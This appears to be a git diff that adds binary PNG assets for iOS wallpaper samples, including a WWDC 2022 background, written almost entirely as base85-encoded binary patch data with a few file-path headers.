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

{%cKp%042d6Mq@5hDD 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/3.png new file mode 100644 index 0000000000000000000000000000000000000000..fce6dcd886c6528cabe5ff5ef8ccc765b9af9869 GIT binary patch literal 49999 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 